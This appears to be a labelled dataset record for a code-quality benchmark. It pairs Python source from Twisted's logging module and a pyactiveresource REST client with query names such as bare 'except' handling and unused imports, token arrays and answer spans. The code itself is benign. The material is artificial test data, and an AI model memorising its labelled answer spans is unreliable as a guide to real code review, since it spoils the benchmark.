[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
twisted/twisted/twisted/python/log.py
[ { "content": "def callWithLogger(logger, func, *args, **kw):\n \"\"\"\n Utility method which wraps a function in a try:/except:, logs a failure if\n one occurs, and uses the system's logPrefix.\n \"\"\"\n try:\n lp = logger.logPrefix()\n except KeyboardInterrupt:\n raise\n except:\n lp = '(buggy logPrefix method)'\n err(system=lp)\n try:\n return callWithContext({\"system\": lp}, func, *args, **kw)\n except KeyboardInterrupt:\n raise\n except:\n err(system=lp)", "metadata": "root.callWithLogger", "header": "['module', '___EOS___']", "index": 87 }, { "content": "def _safeFormat(fmtString, fmtDict):\n \"\"\"\n Try to format a string, swallowing all errors to always return a string.\n\n @note: For backward-compatibility reasons, this function ensures that it\n returns a native string, meaning C{bytes} in Python 2 and C{unicode} in\n Python 3.\n\n @param fmtString: a C{%}-format string\n\n @param fmtDict: string formatting arguments for C{fmtString}\n\n @return: A native string, formatted from C{fmtString} and C{fmtDict}.\n @rtype: L{str}\n \"\"\"\n # There's a way we could make this if not safer at least more\n # informative: perhaps some sort of str/repr wrapper objects\n # could be wrapped around the things inside of C{fmtDict}. That way\n # if the event dict contains an object with a bad __repr__, we\n # can only cry about that individual object instead of the\n # entire event dict.\n try:\n text = fmtString % fmtDict\n except KeyboardInterrupt:\n raise\n except:\n try:\n text = ('Invalid format string or unformattable object in '\n 'log message: %r, %s' % (fmtString, fmtDict))\n except:\n try:\n text = ('UNFORMATTABLE OBJECT WRITTEN TO LOG with fmt %r, '\n 'MESSAGE LOST' % (fmtString,))\n except:\n text = ('PATHOLOGICAL ERROR IN BOTH FORMAT STRING AND '\n 'MESSAGE DETAILS, MESSAGE LOST')\n\n # Return a native string\n if _PY3:\n if isinstance(text, bytes):\n text = text.decode(\"utf-8\")\n else:\n if isinstance(text, unicode):\n text = text.encode(\"utf-8\")\n\n return text", "metadata": "root._safeFormat", "header": "['module', '___EOS___']", "index": 364 } ]
[ { "span": "except:", "start_line": 96, "start_column": 4, "end_line": 96, "end_column": 11 }, { "span": "except:", "start_line": 103, "start_column": 4, "end_line": 103, "end_column": 11 }, { "span": "except:", "start_line": 389, "start_column": 4, "end_line": 389, "end_column": 11 }, { "span": "except:", "start_line": 393, "start_column": 8, "end_line": 393, "end_column": 15 }, { "span": "except:", "start_line": 397, "start_column": 12, "end_line": 397, "end_column": 19 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "call", "With", "Logger_", "(_", "logger_", ",_", "func_", ",_", "*_", "args_", ",_", "**_", "kw_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Utili", "ty", " ", "method", " ", "whi", "ch", " ", "wrap", "s", " ", "a", " ", "function", " ", "in", " ", "a", " ", "try", ":/", "except", ":,", " ", "logs", " ", "a", " ", "fail", "ure", " ", "if", "\\", "10", ";", " ", " ", " ", " ", "one", " ", "occur", "s", ",", " ", "and", " ", "use", "s", " ", "the", " ", "system", "'", "s", " ", "log", "Pref", "ix", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "lp_", "=_", "logger_", "._", "log", "Prefix_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Key", "board", "Interrupt_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "lp_", "=_", "'(", "bug", "gy", " ", "log", "Pref", "ix", " ", "method", ")'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "err_", "(_", "system_", "=_", "lp_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "call", "With", "Context_", "(_", "{_", "\"", "system", "\"_", ":_", "lp_", "}_", ",_", "func_", ",_", "*_", "args_", ",_", "**_", "kw_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Key", "board", "Interrupt_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "err_", "(_", "system_", "=_", "lp_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "safe", "Format_", "(_", "fmt", "String_", ",_", "fmt", "Dict_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Tr", "y", " ", "to", " ", "format", " ", "a", " ", "string", ",", " ", "swa", "llow", "ing", " ", "all", " ", "error", "s", " ", "to", " ", "alw", "ay", "s", " ", "return", " ", "a", " ", "string", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "note", ":", " ", "For", " ", "back", "ward", "-", "compatibility", " ", "reasons", ",", " ", "this", " ", "function", " ", "ensure", "s", " ", "tha", "t", " ", "it", "\\", "10", ";", " ", " ", " ", " ", "return", "s", " ", "a", " ", "nativ", "e", " ", "string", ",", " ", "meaning", " ", "C", "{", "bytes", "}", " ", "in", " ", "Pyth", "on", " ", "2", " ", "and", " ", "C", "{", "unicode", "}", " ", "in", "\\", "10", ";", " ", " ", " ", " ", "Pyth", "on", " ", "3", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "fmt", "String", ":", " ", "a", " ", "C", "{%", "}-", "format", " ", "string", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "fmt", "Dict", ":", " ", "string", " ", "format", "ting", " ", "argu", "ment", "s", " ", "for", " ", "C", "{", "fmt", "String", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "return", ":", " ", "A", " ", "nativ", "e", " ", "string", ",", " ", "format", "ted", " ", "from", " ", "C", "{", "fmt", "String", "}", " ", "and", " ", "C", "{", "fmt", "Dict", "}.", "\\", "10", ";", " ", " ", " ", " ", "@", "rty", "pe", ":", " ", "L", "{", "str", "}", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "There", "'", "s", " ", "a", " ", "way", " ", "we", " ", "coul", "d", " ", "make", " ", "this", " ", "if", " ", "not", " ", "safe", "r", " ", "at", " ", "leas", "t", " ", "more_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "informati", "ve", ":", " ", "per", "hap", "s", " ", "some", " ", "sort", " ", "of", " ", "str", "/", "repr", " ", "wrapp", "er", " ", "objects_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "coul", "d", " ", "be", " ", "wrapp", "ed", " ", "aro", "und", " ", "the", " ", "thing", "s", " ", "insi", "de", " ", "of", " ", "C", "{", "fmt", "Dict", "}.", " ", "Tha", "t", " ", "way_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "if", " ", "the", " ", "event", " ", "dict", " ", "contain", "s", " ", "an", " ", "object", " ", "with", " ", "a", " ", "bad", " ", "\\u\\u", "repr", "\\u\\u", ",", " ", "we", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "can", " ", "only", " ", "cry", " ", "abo", "ut", " ", "tha", "t", " ", "individual", " ", "object", " ", "inst", "ead", " ", "of", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "entire", " ", "event", " ", "dict", "._", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "text_", "=_", "fmt", "String_", "%_", "fmt", "Dict_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Key", "board", "Interrupt_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "text_", "=_", "(_", "'", "Inva", "lid", " ", "format", " ", "string", " ", "or", " ", "unfo", "rmat", "table", " ", "object", " ", "in", " ", "'_", "\\u\\u\\uNL\\u\\u\\u_", "'", "log", " ", "message", ":", " ", "%", "r", ",", " ", "%", "s", "'_", "%_", "(_", "fmt", "String_", ",_", "fmt", "Dict_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "text_", "=_", "(_", "'", "UN", "FORMAT", "TAB", "LE", " ", "OBJ", "ECT", " ", "WR", "IT", "TEN", " ", "TO", " ", "LOG", " ", "with", " ", "fmt", " ", "%", "r", ",", " ", "'_", "\\u\\u\\uNL\\u\\u\\u_", "'", "MESSAGE", " ", "LOS", "T", "'_", "%_", "(_", "fmt", "String_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "text_", "=_", "(_", "'", "PATH", "OLO", "GI", "CAL", " ", "ERROR", " ", "IN", " ", "BOT", "H", " ", "FORMAT", " ", "STRING", " ", "AND", " ", "'_", "\\u\\u\\uNL\\u\\u\\u_", "'", "MESSAGE", " ", "DETAIL", "S", ",", " ", "MESSAGE", " ", "LOS", "T", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Return", " ", "a", " ", "nativ", "e", " ", "string_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u", "PY", "3_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "isinstance_", "(_", "text_", ",_", "bytes_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "text_", "=_", "text_", "._", "decode_", "(_", "\"", "utf", "-", "8", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "isinstance_", "(_", "text_", ",_", "unicode_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "text_", "=_", "text_", "._", "encode_", "(_", "\"", "utf", "-", "8", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "text_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
JetBrains/youtrack-rest-python-library/python/pyactiveresource/activeresource.py
[ { "content": "#!/usr/bin/python2.4\n# Authors: Jared Kuolt <me@superjared.com>, Mark Roach <mrroach@google.com>\n\n\"\"\"Connect to and interact with a REST server and its objects.\"\"\"\n\n\nimport new\nimport re\nimport sys\nimport urllib\nimport urllib2\nimport urlparse\nfrom string import Template\nfrom pyactiveresource import connection\nfrom pyactiveresource import element_containers\nfrom pyactiveresource import formats\nfrom pyactiveresource import util\n\n\nVALID_NAME = re.compile('[a-z_]\\w*') # Valid python attribute names\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class Error(Exception):\n \"\"\"A general error derived from Exception.\"\"\"\n pass", "metadata": "root.Error", "header": "['module', '___EOS___']", "index": 22 }, { "content": "class Errors(object):\n \"\"\"Represents error lists returned by the server.\"\"\"\n\n\n\n\n\n\n\n\n", "metadata": "root.Errors", "header": "['module', '___EOS___']", "index": 27 }, { "content": " def __init__(self, base):\n \"\"\"Constructor for Errors object.\n\n Args:\n base: The parent resource object.\n \"\"\"\n self.base = base\n self.errors = {}", "metadata": "root.Errors.__init__", "header": "['class', 'Errors', '(', 'object', ')', ':', '___EOS___']", "index": 30 }, { "content": " @property\n def size(self):\n return len(self.errors)", "metadata": "root.Errors.size", "header": "['class', 'Errors', '(', 'object', ')', ':', '___EOS___']", "index": 39 }, { "content": " def __len__(self):\n return len(self.errors)", "metadata": "root.Errors.__len__", "header": "['class', 'Errors', '(', 'object', ')', ':', '___EOS___']", "index": 43 }, { "content": " def add(self, attribute, error):\n \"\"\"Add an error to a resource object's attribute.\n\n Args:\n attribute: The attribute to add the error to.\n error: The error string to add.\n Returns:\n None\n \"\"\"\n self.errors.setdefault(attribute, []).append(error)", "metadata": "root.Errors.add", "header": "['class', 'Errors', '(', 'object', ')', ':', '___EOS___']", "index": 46 }, { "content": " def add_to_base(self, error):\n \"\"\"Add an error to the base resource object rather than an attribute.\n\n Args:\n error: the error string to add.\n Returns:\n None\n \"\"\"\n self.add('base', error)", "metadata": "root.Errors.add_to_base", "header": "['class', 'Errors', '(', 'object', ')', ':', '___EOS___']", "index": 57 }, { "content": " def clear(self):\n \"\"\"Clear any errors that have been set.\n\n Args:\n None\n Returns:\n None\n \"\"\"\n self.errors = {}", "metadata": "root.Errors.clear", "header": "['class', 'Errors', '(', 'object', ')', ':', '___EOS___']", "index": 67 }, { "content": " def from_xml(self, xml_string):\n \"\"\"Grab errors from an XML response.\n\n Args:\n xml_string: An xml errors object (e.g. '<errors></errors>')\n Returns:\n None\n \"\"\"\n attribute_keys = self.base.attributes.keys()\n try:\n messages = util.xml_to_dict(\n xml_string)['errors']['error']\n if not isinstance(messages, list):\n messages = [messages]\n except util.Error:\n messages = []\n for message in messages:\n attr_name = message.split()[0]\n key = util.underscore(attr_name)\n if key in attribute_keys:\n self.add(key, message[len(attr_name)+1:])\n else:\n self.add_to_base(message)", "metadata": "root.Errors.from_xml", "header": "['class', 'Errors', '(', 'object', ')', ':', '___EOS___']", "index": 77 }, { "content": " def on(self, attribute):\n \"\"\"Return the errors for the given attribute.\n\n Args:\n attribute: The attribute to retrieve errors for.\n Returns:\n An error string, or a list of error message strings or None\n if none exist for the given attribute.\n \"\"\"\n errors = self.errors.get(attribute, [])\n if len(errors) == 1:\n return errors[0]\n return errors", "metadata": "root.Errors.on", "header": "['class', 'Errors', '(', 'object', ')', ':', '___EOS___']", "index": 101 }, { "content": " def full_messages(self):\n \"\"\"Returns all the full error messages in an array.\n\n Args:\n None\n Returns:\n An array of error strings.\n \"\"\"\n messages = []\n for key, errors in self.errors.items():\n for error in errors:\n if key == 'base':\n messages.append(error)\n else:\n messages.append(' '.join((key, error)))\n return messages", "metadata": "root.Errors.full_messages", "header": "['class', 'Errors', '(', 'object', ')', ':', '___EOS___']", "index": 115 }, { "content": "class ClassAndInstanceMethod(object):\n \"\"\"A descriptor to allow class/instance methods with the same name.\"\"\"\n\n", "metadata": "root.ClassAndInstanceMethod", "header": "['module', '___EOS___']", "index": 133 }, { "content": " def __init__(self, class_method, instance_method):\n self.class_method = class_method\n self.instance_method = instance_method", "metadata": "root.ClassAndInstanceMethod.__init__", "header": "['class', 'ClassAndInstanceMethod', '(', 'object', ')', ':', '___EOS___']", "index": 136 }, { "content": " def __get__(self, instance, owner):\n if instance:\n return getattr(instance, self.instance_method)\n return getattr(owner, self.class_method)", "metadata": "root.ClassAndInstanceMethod.__get__", "header": "['class', 'ClassAndInstanceMethod', '(', 'object', ')', ':', '___EOS___']", "index": 140 }, { "content": "class ResourceMeta(type):\n \"\"\"A metaclass for ActiveResource objects.\n\n Provides a separate namespace for configuration objects (user,password,\n site, etc)\"\"\"\n\n\n\n\n\n user = property(get_user, set_user, None,\n 'A username for HTTP Basic Auth.')\n\n\n\n password = property(get_password, set_password, None,\n 'A password for HTTP Basic Auth.')\n\n\n\n site = property(get_site, set_site, None,\n 'The base REST site to connect to.')\n\n\n headers = property(get_headers, set_headers, None,\n 'HTTP headers.')\n\n\n timeout = property(get_timeout, set_timeout, None,\n 'Socket timeout for HTTP operations')\n\n\n format = property(get_format, set_format, None,\n 'A format object for encoding/decoding requests')\n\n\n plural = property(get_plural, set_plural, None,\n 'The plural name of this object type.')\n\n\n singular = property(get_singular, set_singular, None,\n 'The singular name of this object type.')\n\n\n\n prefix_source = property(get_prefix_source, set_prefix_source, None,\n 'prefix for lookups for this type of object.')\n\n\n\n\n primary_key = property(get_primary_key, set_primary_key, None,\n 'Name of attribute that uniquely identies the resource')", "metadata": "root.ResourceMeta", "header": "['module', '___EOS___']", "index": 146 }, { "content": " def __new__(mcs, name, bases, new_attrs):\n \"\"\"Create a new class.\n\n Args:\n mcs: The metaclass.\n name: The name of the class.\n bases: List of base classes from which mcs inherits.\n new_attrs: The class attribute dictionary.\n \"\"\"\n if '_singular' not in new_attrs or not new_attrs['_singular']:\n new_attrs['_singular'] = util.underscore(name)\n\n if '_plural' not in new_attrs or not new_attrs['_plural']:\n new_attrs['_plural'] = util.pluralize(new_attrs['_singular'])\n\n\n klass = type.__new__(mcs, name, bases, new_attrs)\n\n # if _site is defined, use the site property to ensure that user\n # and password are properly initialized.\n if '_site' in new_attrs:\n klass.site = new_attrs['_site']\n\n return klass", "metadata": "root.ResourceMeta.__new__", "header": "['class', 'ResourceMeta', '(', 'type', ')', ':', '___EOS___']", "index": 152 }, { "content": " @property\n def connection(cls):\n \"\"\"A connection object which handles all HTTP requests.\"\"\"\n super_class = cls.__mro__[1]\n if super_class == object or '_connection' in cls.__dict__:\n if cls._connection is None:\n cls._connection = connection.Connection(\n cls.site, cls.user, cls.password, cls.timeout, cls.format)\n return cls._connection\n else:\n return super_class.connection", "metadata": "root.ResourceMeta.connection", "header": "['class', 'ResourceMeta', '(', 'type', ')', ':', '___EOS___']", "index": 177 }, { "content": " def get_user(cls):\n return cls._user", "metadata": "root.ResourceMeta.get_user", "header": "['class', 'ResourceMeta', '(', 'type', ')', ':', '___EOS___']", "index": 189 }, { "content": " def set_user(cls, value):\n cls._connection = None\n cls._user = value", "metadata": "root.ResourceMeta.set_user", "header": "['class', 'ResourceMeta', '(', 'type', ')', ':', '___EOS___']", "index": 192 }, { "content": " def get_password(cls):\n return cls._password", "metadata": "root.ResourceMeta.get_password", "header": "['class', 'ResourceMeta', '(', 'type', ')', ':', '___EOS___']", "index": 199 }, { "content": " def set_password(cls, value):\n cls._connection = None\n cls._password = value", "metadata": "root.ResourceMeta.set_password", "header": "['class', 'ResourceMeta', '(', 'type', ')', ':', '___EOS___']", "index": 202 }, { "content": " def get_site(cls):\n return cls._site", "metadata": "root.ResourceMeta.get_site", "header": "['class', 'ResourceMeta', '(', 'type', ')', ':', '___EOS___']", "index": 209 }, { "content": " def set_site(cls, value):\n if value is not None:\n host = urlparse.urlsplit(value)[1]\n auth_info, host = urllib2.splituser(host)\n if auth_info:\n user, password = urllib2.splitpasswd(auth_info)\n if user:\n cls._user = urllib.unquote(user)\n if password:\n cls._password = urllib.unquote(password)\n cls._connection = None\n cls._site = value", "metadata": "root.ResourceMeta.set_site", "header": "['class', 'ResourceMeta', '(', 'type', ')', ':', '___EOS___']", "index": 212 }, { "content": " def get_headers(cls):\n return cls._headers", "metadata": "root.ResourceMeta.get_headers", "header": "['class', 'ResourceMeta', '(', 'type', ')', ':', '___EOS___']", "index": 228 }, { "content": " def set_headers(cls, value):\n cls._headers = value", "metadata": "root.ResourceMeta.set_headers", "header": "['class', 'ResourceMeta', '(', 'type', ')', ':', '___EOS___']", "index": 231 }, { "content": " def get_timeout(cls):\n return cls._timeout", "metadata": "root.ResourceMeta.get_timeout", "header": "['class', 'ResourceMeta', '(', 'type', ')', ':', '___EOS___']", "index": 236 }, { "content": " def set_timeout(cls, value):\n cls._connection = None\n cls._timeout = value", "metadata": "root.ResourceMeta.set_timeout", "header": "['class', 'ResourceMeta', '(', 'type', ')', ':', '___EOS___']", "index": 239 }, { "content": " def get_format(cls):\n return cls._format", "metadata": "root.ResourceMeta.get_format", "header": "['class', 'ResourceMeta', '(', 'type', ')', ':', '___EOS___']", "index": 245 }, { "content": " def set_format(cls, value):\n cls._connection = None\n cls._format = value", "metadata": "root.ResourceMeta.set_format", "header": "['class', 'ResourceMeta', '(', 'type', ')', ':', '___EOS___']", "index": 248 }, { "content": " def get_plural(cls):\n return cls._plural", "metadata": "root.ResourceMeta.get_plural", "header": "['class', 'ResourceMeta', '(', 'type', ')', ':', '___EOS___']", "index": 254 }, { "content": " def set_plural(cls, value):\n cls._plural = value", "metadata": "root.ResourceMeta.set_plural", "header": "['class', 'ResourceMeta', '(', 'type', ')', ':', '___EOS___']", "index": 257 }, { "content": " def get_singular(cls):\n return cls._singular", "metadata": "root.ResourceMeta.get_singular", "header": "['class', 'ResourceMeta', '(', 'type', ')', ':', '___EOS___']", "index": 262 }, { "content": " def set_singular(cls, value):\n cls._singular = value", "metadata": "root.ResourceMeta.set_singular", "header": "['class', 'ResourceMeta', '(', 'type', ')', ':', '___EOS___']", "index": 265 }, { "content": " def get_prefix_source(cls):\n \"\"\"Return the prefix source, by default derived from site.\"\"\"\n if hasattr(cls, '_prefix_source'):\n return cls._prefix_source\n else:\n return urlparse.urlsplit(cls.site)[2]", "metadata": "root.ResourceMeta.get_prefix_source", "header": "['class', 'ResourceMeta', '(', 'type', ')', ':', '___EOS___']", "index": 270 }, { "content": " def set_prefix_source(cls, value):\n \"\"\"Set the prefix source, which will be rendered into the prefix.\"\"\"\n cls._prefix_source = value", "metadata": "root.ResourceMeta.set_prefix_source", "header": "['class', 'ResourceMeta', '(', 'type', ')', ':', '___EOS___']", "index": 277 }, { "content": " def prefix(cls, options=None):\n \"\"\"Return the rendered prefix for this object.\"\"\"\n return cls._prefix(options)", "metadata": "root.ResourceMeta.prefix", "header": "['class', 'ResourceMeta', '(', 'type', ')', ':', '___EOS___']", "index": 284 }, { "content": " def get_primary_key(cls):\n return cls._primary_key", "metadata": "root.ResourceMeta.get_primary_key", "header": "['class', 'ResourceMeta', '(', 'type', ')', ':', '___EOS___']", "index": 288 }, { "content": " def set_primary_key(cls, value):\n cls._primary_key = value", "metadata": "root.ResourceMeta.set_primary_key", "header": "['class', 'ResourceMeta', '(', 'type', ')', ':', '___EOS___']", "index": 291 }, { "content": "class ActiveResource(object):\n \"\"\"Represents an activeresource object.\"\"\"\n\n __metaclass__ = ResourceMeta\n _connection = None\n _format = formats.XMLFormat\n _headers = None\n _password = None\n _site = None\n _timeout = None\n _user = None\n _primary_key = \"id\"\n\n\n # Public class methods which act as factory functions\n\n\n\n\n\n # Non-public class methods to support the above\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n # Public instance methods\n\n\n\n\n\n\n\n\n\n id = property(get_id, set_id, None, 'Value stored in the primary key')\n\n\n\n\n\n\n\n\n\n # methods corresponding to Ruby's custom_methods\n\n\n\n\n\n\n\n # Create property which returns class/instance method based on context\n get = ClassAndInstanceMethod('_class_get', '_instance_get')\n post = ClassAndInstanceMethod('_class_post', '_instance_post')\n put = ClassAndInstanceMethod('_class_put', '_instance_put')\n delete = ClassAndInstanceMethod('_class_delete', '_instance_delete')\n head = ClassAndInstanceMethod('_class_head', '_instance_head')", "metadata": "root.ActiveResource", "header": "['module', '___EOS___']", "index": 298 }, { "content": " def __init__(self, attributes=None, prefix_options=None):\n \"\"\"Initialize a new ActiveResource object.\n\n Args:\n attributes: A dictionary of attributes which represent this object.\n prefix_options: A dict of prefixes to add to the request for\n nested URLs.\n \"\"\"\n if attributes is None:\n attributes = {}\n self.klass = self.__class__\n self.attributes = {}\n if prefix_options:\n self._prefix_options = prefix_options\n else:\n self._prefix_options = {}\n self._update(attributes)\n self.errors = Errors(self)\n self._initialized = True", "metadata": "root.ActiveResource.__init__", "header": "['class', 'ActiveResource', '(', 'object', ')', ':', '___EOS___']", "index": 311 }, { "content": " @classmethod\n def find(cls, id_=None, from_=None, **kwargs):\n \"\"\"Core method for finding resources.\n\n Args:\n id_: A specific resource to retrieve.\n from_: The path that resources will be fetched from.\n kwargs: any keyword arguments for query.\n\n Returns:\n An ActiveResource object.\n Raises:\n connection.Error: On any communications errors.\n Error: On any other errors.\n \"\"\"\n if id_:\n return cls._find_single(id_, **kwargs)\n\n return cls._find_every(from_=from_, **kwargs)", "metadata": "root.ActiveResource.find", "header": "['class', 